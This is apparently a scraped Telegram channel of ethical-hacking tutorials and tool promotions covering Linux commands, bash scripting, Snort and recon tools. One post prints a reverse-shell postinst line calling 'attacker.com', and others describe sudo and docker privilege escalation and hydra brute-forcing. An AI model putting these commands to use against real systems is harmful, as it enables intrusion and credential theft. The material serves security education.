The Exploit Lab
703 subscribers
179 photos
3 videos
46 files
4.93K links
| Ethical Hacking Tools |
Download Telegram
πŸ”₯ SSH from Kali Linux into Termux πŸ”₯

Ever needed remote access πŸ“² to your Android device from Kali? Here's how to set up SSH from Kali β†’ Termux:

πŸ“± Step 1: Install SSH in Termux
pkg update && pkg upgrade
pkg install openssh


πŸ” Step 2: Set Password
passwd
(Remember this password! 🧠)

▢️ Step 3: Start SSH Server
sshd
⚠️ Note: Termux uses port 8022 by default

🌐 Step 4: Get Termux IP
ifconfig
Look for your local IP πŸ“ (e.g., 192.168.1.8)

πŸ’» Step 5: Connect from Kali
ssh -p 8022 <username>@<termux-ip>
Example: ssh -p 8022 u0_a156@192.168.1.8
πŸ”‘ Enter the password you set

πŸ’‘ Pro Tip: Don't know your username? πŸ€”
Run in Termux: whoami

Now you've got full shell access to your Android device from Kali! πŸš€βœ¨

#Termux #KaliLinux #SSH #MobilePentest #Android #Hacking πŸ‰
πŸ“’ New Resource β€” XSS Payloads & Bug Bounty Tips

I've put together a compact list of useful XSS payloads and practical tips for bug bounty hunters and web-security learners. This is meant as a learning/reference resource β€” only test on systems you own or have explicit permission to test.

πŸ”— View XSS payloads on GitHub
πŸ’¬ Join the discussion on Telegram

Follow my channels for more:
β€’ X: https://x.com/TheExploitLab
β€’ Instagram: mr_dineshpatro β€’ theexploitlab
β€’ YouTube: TheExploitLab

Usage: study, practice in labs, and report responsibly.
#bugbounty #infosec #xss #websecurity
πŸ“‚ File Navigation in Linux

πŸ”‘ Key Commands
ls - List directory contents
cd - Change directory
pwd - Show current path
tree - Display directory structure
history - View command history

πŸ§ͺ Task of the Day
cd /
ls
cd etc
pwd
cd ~
ls -la


Install and use tree:
sudo apt install tree
tree /home


πŸ” Linux Directory Breakdown
/etc - Configuration files
/var - Logs, web files, variable data
/home - User directories
/tmp - Temporary storage
/root - Root user home

⚠️ Security Note:
These directories are often involved in privilege escalation or persistence in real-world attacks.

#Linux #Terminal #CyberSecurity
πŸ” File Permission Breakdown

ls -l example:
-rwxr-xr-- 1 user group 1337 Jan 1 exploit.sh


- = file (d=dir, l=symlink)
rwx = owner: read, write, execute
r-x = group: read, execute
r-- = others: read only

🧠 Permission Notation
rwxr-xr-- = 754
rwxrwxrwx = 777 (dangerous!)

πŸ”§ Commands
chmod +x file
chmod 755 file
chown user:group file


πŸ§ͺ Task of the Day
echo 'echo hacked' > test.sh
chmod +x test.sh
./test.sh
chmod 777 test.sh
ls -l
sudo chown root:root test.sh


🚩 Real-World Hacking
πŸ”₯ Root-owned script + group-writable = escalation
πŸ”₯ Misconfigured crontabs = root shell
πŸ”₯ Permissions = hacker's tool

πŸ‘‰ https://t.me/TheExploitLabX

#Linux #Permissions #CyberSecurity
πŸ” Users, Groups, and Privilege Escalation

πŸ‘€ User Overview
- Each user has a UID (root = UID 0, normal users UID 1000+).
- Defined in /etc/passwd.
- Home directories: /home/username.
- Check your user:
whoami
id

πŸ‘₯ Group Overview
- Groups define permissions for users.
- Primary group: Assigned at user creation.
- Supplementary groups: Additional privileges.
- See your groups:
groups

πŸ” Key Security-Related Groups
| Group | Why It Matters |
|--------------|----------------------|
| sudo | Execute root commands |
| docker | Possible container breakout |
| adm | Access to logs (creds) |
| lxd | Launch root containers |
| shadow | Read password hashes |

πŸ§ͺ Task of the Day
Run:
whoami
id
groups
sudo -l
Review your group memberships and check for passwordless sudo commands.

⚠️ Real-World Attack Scenarios
- User in sudo group β†’ sudo su for root.
- docker group β†’ Create container with mounted host β†’ root shell.
- Sudo misconfig (NOPASSWD):
(ALL : ALL) NOPASSWD: ALL
Run anything as root with:
sudo /bin/bash

πŸ”— Learn more daily: πŸ“‘ t.me/TheExploitLabX
πŸ“¦ Linux Package Managers & Dependency Abuse

πŸ”Ή What Is a Package Manager?
Handles:
- Installation/removal of software
- Dependency resolution
- System updates

πŸ“Œ Distro-Specific Managers:
apt β†’ Debian (Ubuntu, Kali)
yum/dnf β†’ RedHat, Fedora
pacman β†’ Arch Linux

πŸ”§ Key Commands (APT-based):
sudo apt update # Refresh package lists
sudo apt upgrade # Update all packages
sudo apt install <tool> # Install software
dpkg -l # List installed packages
dpkg -l | grep ssh # Search packages

πŸ“‚ Inspect Installed Packages:
which nmap # Path to binary
dpkg -L nmap # List files installed by a package

⚠️ Attacker Use Cases:
| Technique | Description |
|------------------|---------------------|
| Dependency Hijacking | Malicious .deb with trusted library name |
| Backdoored .deb | Preinst/postinst scripts run payloads |
| Persistence via Updates | Fake updates re-deploy backdoors |
| Local Repo Hijacking | Inject payloads via fake repository |

πŸ§ͺ Task of the Day:
1. Install and inspect a tool:
sudo apt install netcat
which nc
dpkg -L netcat

2. Find scripts run during install:
ls -l /var/lib/dpkg/info/netcat*.*

3. Look inside:
cat /var/lib/dpkg/info/netcat.postinst

πŸ” Red Team Example:
A fake .deb package with:
postinst: bash -i >& /dev/tcp/attacker.com/4444 0>&1
Gives attacker a reverse shell on install.

πŸš€ Join my Telegram channel for more:
πŸ“‘ t.me/TheExploitLabX
❀1
πŸ“œ Introduction to Bash Scripting

🧠 Why Bash?
- Available on almost every Linux system
- Lightweight, fast, and perfect for automation
- Run commands silently, log output, and chain complex tasks

πŸ”§ Simple Bash Script Example

#!/bin/bash
echo "[+] Starting Recon..."
whoami
ip a

Save as recon.sh, then:
chmod +x recon.sh
./recon.sh

πŸ’‘ Key Bash Concepts
| Concept | Description |
|----------------|---------------------|
| #!/bin/bash | Shebang: tells Linux how to execute |
| echo | Prints output |
| $(command) | Executes a shell command |
| $1, $2 | Access script arguments |
| > / >> | Redirect output (overwrite/append) |
| | | Pipe output to another command |

πŸ§ͺ Task of the Day
Create scan.sh:

#!/bin/bash
echo "[*] User Info:"
whoami
echo "[*] System IP:"
ip a | grep inet
echo "[*] Listening Ports:"
ss -tuln

Execute:
chmod +x scan.sh
./scan.sh
Modify it: Add hostname, uptime, or any info you want!

🚩 Real-World Usage
After exploitation, use scripts for:
- Quick system inventory
- Logged recon output
- Silent tool execution
Drop a loot.sh and automate everything!

πŸ”— Join my Telegram channel for more:
πŸ“‘ t.me/TheExploitLabX
πŸ“œ Bash Variables, Arguments & Dynamic Scripting

🧠 Why Use Variables?
Store and reuse data (usernames, IPs, payloads) in scripts.
Example:

name="The Exploit Lab"
echo "Welcome, $name!"


πŸ’» Script Arguments: $1, $2, $@
Pass values externally:

#!/bin/bash
echo "User: $1"
echo "Password: $2"

Run with:
./login.sh admin admin123

πŸ“Œ Symbols:
| Symbol | Meaning |
|--------------|----------------|
| $1 | First argument |
| $2 | Second argument |
| $@ | All arguments |

πŸ” With Loops: multi_ping.sh

#!/bin/bash
for ip in "$@"; do
echo "Pinging $ip..."
ping -c 1 $ip
done

Run it:
./multi_ping.sh 192.168.1.1 192.168.1.2 192.168.1.3

πŸ§ͺ Task of the Day
Build enum.sh:

#!/bin/bash
target=$1
echo "[*] Running scan on $target"
nmap -Pn -sS $target

Make it executable:
chmod +x enum.sh
./enum.sh 10.10.10.10
Extend it to accept port ranges or scripts!

πŸ” Real Use Case
Automate:
- Multi-target recon
- Web login brute-forcing
- Backdoor deployment
With $1, $2, $@, and loops, your script becomes adaptable and scalable.

πŸ“‘ Join my Telegram channel:
t.me/TheExploitLabX
❀1
This media is not supported in your browser
VIEW IN TELEGRAM
πŸ–€ Shadow Alert β€” Copilot vs CVEs
When AI writes code, it can also reveal what breaks it.

What to know:
CVEs are the fingerprints of past breaches β€” publicly documented weaknesses attackers still weaponize. AI-assisted code tools like Copilot can speed development, but they also surface patterns that map to real-world vulnerabilities. Knowledge is power β€” and risk.

πŸ‘‰ Explore the Copilot CVE analysis

Why it matters
β€’ Developers β€” spot recurring vulnerable snippets before they land in production.
β€’ Pentesters β€” find AI-amplified attack vectors faster.
β€’ Defenders β€” harden models and toolchains that suggest insecure code.

Stay sharp. Stay paranoid.

Follow The Exploit Lab
🌐 Twitter
πŸ’¬ Telegram
πŸ“Έ Instagram
πŸ“Έ The Exploit Lab
πŸŽ₯ YouTube
bugbounty_automation.sh
4.8 KB
πŸš€ Automate Bug Bounty Recon in Kali Linux!

πŸ”Ή Script Features:
βœ”οΈ Subdomain enum (subfinder/amass/assetfinder/crt.sh)
βœ”οΈ Live host check (httpx)
βœ”οΈ Port scan (nmap)
βœ”οΈ Screenshots (gowitness)

πŸ“Œ How to Use:
1. Save as bugbounty_automation.sh
2. chmod +x bugbounty_automation.sh
3. Run: ./bugbounty_automation.sh example.com
4. Results in results_example.com/

πŸ“‹ Requirements:
sudo apt install subfinder httpx nmap gowitness jq curl

πŸ’‘ Pro Tips:
- Run on a VPS for 24/7 automation.
- Schedule with crontab.
- Combine with nuclei for vuln scanning.

πŸŽ₯ Demo: Watch Here

⚠️ Note: Use only on authorized targets.

πŸ“’ Follow:
🐦 Twitter
πŸ“Œ Telegram
πŸŽ₯ YouTube

#BugBounty #KaliLinux #Automation
πŸ” Outpost9 Wordlist Collection - Essential Resource for Security Testing

Just discovered an excellent wordlist repository at Outpost9 that every bug bounty hunter should bookmark! πŸ“š

What's Inside:
- Comprehensive username/password lists
- Common credentials for default accounts
- Service-specific wordlists (FTP, SSH, etc.)
- Sanitized real-world breach data
- Perfect for brute-force & enumeration

Quick Usage:
hydra -L users.txt -P passwords.txt target.com ssh
ffuf -w wordlist.txt -u https://target.com/FUZZ

Pro Tip: Combine these with custom wordlists using crunch or cewl for better success rates during credential stuffing and directory fuzzing attacks.

⚠️ Remember: Only use on authorized targets with proper scope!

πŸ’¬ Want more bug bounty tips, tools & techniques? Join our community:
πŸ‘‰ https://t.me/TheExploitLabX
πŸ” CYBER KNOWLEDGE: Essential Terms Explained

You've heard these terms in hacking communitiesβ€”here's what they mean:

πŸ”Ή MD5
128-bit hash function with known vulnerabilities. Once used for crypto, now broken for security purposes.

πŸ”Ή KEYLOGGING
Covert recording of keystrokes to capture credentials and sensitive data without user knowledge.

πŸ”Ή PYTHON
High-level interpreted language by Guido van Rossum. Perfect for scripting exploits and automation tools.

πŸ”Ή ROOTKIT
Malicious software enabling unauthorized system access while hiding its presence from detection.

πŸ”Ή FULLZ
Complete identity packages (SSN, DOB, accounts) sold on dark markets for credit fraud schemes.

πŸ”Ή SQLMAP
Open-source pentesting tool that automates SQL injection detection and exploitation via CLI.

πŸ”Ή SOCKS5
Proxy protocol for routing traffic through intermediary servers with authentication support.

πŸ’‘ Master these fundamentalsβ€”they're crucial for understanding modern cybersecurity!

πŸ”— Join for more cybersecurity insights: https://t.me/TheExploitLabX
πŸ”§ Convert FAT to NTFS Safely & Easily!

Want to upgrade your drive from FAT to NTFS? Follow these simple steps:

1️⃣ Open Command Prompt as Admin
Run this first to check for errors:
CHKDSK [driveletter]: /F

2️⃣ Convert the Drive
Type:
CONVERT [driveletter]: /FS:NTFS

⚠️ Important: While data loss is rare, always back up your files before converting!

πŸ’‘ Why NTFS?
βœ… Better security & file permissions
βœ… Supports larger files & drives
βœ… Improved reliability & recovery

πŸ”— Need more tech tips? Join my channel for in-depth guides & tutorials:
@TheExploitLabX
πŸ” Essential Snort Commands for Linux πŸ”

Mastering Snort? Here’s a quick reference for the most important commands:

1️⃣ Basic Snort Commands
snort -V β†’ Check the installed Snort version.
snort -T -c /etc/snort/snort.conf β†’ Test Snort configuration file for errors.
snort -A console -q -c /etc/snort/snort.conf -i eth0 β†’ Run Snort in console mode.
snort -A full -q -c /etc/snort/snort.conf -i eth0 β†’ Run Snort in full alert mode.
snort -l /var/log/snort -c /etc/snort/snort.conf -i eth0 β†’ Log alerts to /var/log/snort.

2️⃣ Running Snort as a Service
sudo systemctl start snort β†’ Start the Snort service.
sudo systemctl stop snort β†’ Stop the Snort service.
sudo systemctl restart snort β†’ Restart the Snort service.
sudo systemctl enable snort β†’ Enable Snort to start on boot.
sudo systemctl status snort β†’ Check the status of the Snort service.

3️⃣ Snort Rule Management
snort -c /etc/snort/snort.conf -R /etc/snort/rules/local.rules β†’ Run Snort with a specific rule file.
snort -c /etc/snort/snort.conf --dump-dynamic-rules β†’ Dump dynamic rules to the console.
snort -c /etc/snort/snort.conf --pcap-list /path/to/pcap β†’ List PCAP files for analysis.

4️⃣ Snort Log Analysis
tail -f /var/log/snort/alert β†’ Monitor Snort alerts in real-time.
snort -r /var/log/snort/snort.log.1234567890 β†’ Read and analyze a Snort log file.
snort -r /path/to/pcap/file.pcap -c /etc/snort/snort.conf β†’ Analyze a PCAP file using Snort rules.

5️⃣ Snort Update Commands
sudo snort -c /etc/snort/snort.conf --update-rules β†’ Update Snort rules.
sudo pulledpork.pl -c /etc/snort/pulledpork.conf β†’ Update rules using PulledPork.

6️⃣ Snort Packet Capture
snort -dev -i eth0 β†’ Capture and display packets in real-time.
snort -i eth0 -l /var/log/snort -b β†’ Log packets in binary mode (PCAP format).

7️⃣ Snort Performance Testing
snort --perfmon-file /var/log/snort/perfmon.csv β†’ Log performance metrics to a CSV file.

---
πŸ’‘ Want more? Join The Exploit Lab for in-depth guides, tutorials, and discussions on cybersecurity tools and techniques! πŸš€
🚨 New Tool Alert: Raccoon - Offensive Security Swiss Knife! 🚨

πŸ”Ή What is Raccoon?
A high-performance offensive security tool designed for reconnaissance, vulnerability scanning, and exploitation. Built for red teams and penetration testers, Raccoon automates tedious tasks and helps uncover hidden vulnerabilities in target systems.

πŸ”Ή πŸ”§ Key Features:
βœ… Reconnaissance: Gather intel on domains, subdomains, and exposed services.
βœ… Vulnerability Scanning: Identify weaknesses in web apps and networks.
βœ… Exploitation: Leverage exploits for common vulnerabilities.
βœ… Automation: Streamline workflows with customizable scripts.

πŸ”Ή Why Use Raccoon?
βœ”οΈ Open-source and community-driven.
βœ”οΈ Lightweight and fast.
βœ”οΈ Perfect for both beginners and experienced hackers.

πŸ“Œ GitHub: Check it out here

πŸ’‘ Stay ahead of threats. Test your defenses before attackers do!

---
πŸ”₯ This is my Telegram channel for more tools, tutorials, and exploits: Join @TheExploitLabX
🚨 New Tool Alert: CloudFlair by @christophetd 🚨

Discover CloudFlair, a powerful tool designed to bypass Cloudflare's WAF and uncover hidden origins! πŸ” Perfect for security researchers and bug bounty hunters.

πŸ”Ή Features:
βœ”οΈ Bypasses Cloudflare protections
βœ”οΈ Reveals origin server IPs
βœ”οΈ Open-source & customizable

πŸ“Œ GitHub: CloudFlair

πŸ’‘ Why it matters: Enhance your recon game and uncover vulnerabilities like never before!

---
πŸ”₯ This is my Telegram channel for more tools, tips, and exploits: @TheExploitLabX
🚨 SUDO_KILLER: A Game-Changer in Linux Privilege Escalation 🚨

Discover SUDO_KILLER, a powerful tool designed to automate the detection of misconfigurations, vulnerabilities, and privilege escalation paths in sudo environments.

βœ… Why it matters:
- Scans for risky sudo permissions.
- Identifies potential privilege escalation vectors.
- Helps secure Linux systems against exploits.

πŸ”— Explore the repo: GitHub

πŸ’‘ Stay ahead of threats. Knowledge is power.

---
πŸ“’ This is my Telegram channel for more insights: The Exploit Lab
🚨 fsociety: The Ultimate Penetration Testing Toolkit 🚨

Looking for a powerful, open-source toolkit for penetration testing, OSINT, and cybersecurity research? fsociety is your one-stop solution!

βœ… Automated Scanning: Quickly identify vulnerabilities in networks and web apps.
βœ… OSINT Tools: Gather intel on targets with ease.
βœ… Customizable: Tailor the toolkit to fit your workflow.
βœ… Open Source: Free to use, modify, and contribute.

Perfect for ethical hackers, security researchers, and red teamers. Star the repo and start exploring today!

πŸ”— GitHub: github.com/Manisso/fsociety

---
This is my Telegram channel for more tools, tutorials, and cybersecurity insights: @TheExploitLabX
πŸš€ Introducing Astra by Flipkart Incubator!

Astra is an open-source framework designed to simplify AI/ML model deployment and scalability. Built by @flipkart, it helps developers seamlessly integrate AI models into production environments with ease.

βœ… Key Features:
- Scalable AI/ML deployment
- Optimized for performance
- Easy integration with existing systems
- Open-source & community-driven

πŸ”— GitHub: Explore Astra

πŸ’‘ Why Astra?
Whether you're a startup or an enterprise, Astra helps you deploy AI models faster and more efficiently.

πŸ”₯ Join the revolution!
This is The Exploit Lab β€” your go-to channel for cutting-edge tech, AI, and innovation. Follow for more!

πŸ‘‰ Join The Exploit Lab
This media is not supported in your browser
VIEW IN TELEGRAM
🚨 New Tool Alert: RapidScan - The Ultimate Web Vulnerability Scanner! 🚨

Looking for a powerful, open-source tool to scan web applications for vulnerabilities? RapidScan by @skavngr is here to help!

βœ… Multi-threaded scanning for faster results
βœ… Detects SQLi, XSS, LFI, RCE, and more
βœ… Supports custom payloads & headers
βœ… Lightweight & easy to deploy

Perfect for security researchers, bug hunters, and developers who want to secure their apps.

πŸ”— GitHub Repo

---
πŸ’‘ Want more security tools, tutorials, and exploits?
πŸ‘‰ Join my Telegram channel: @TheExploitLabX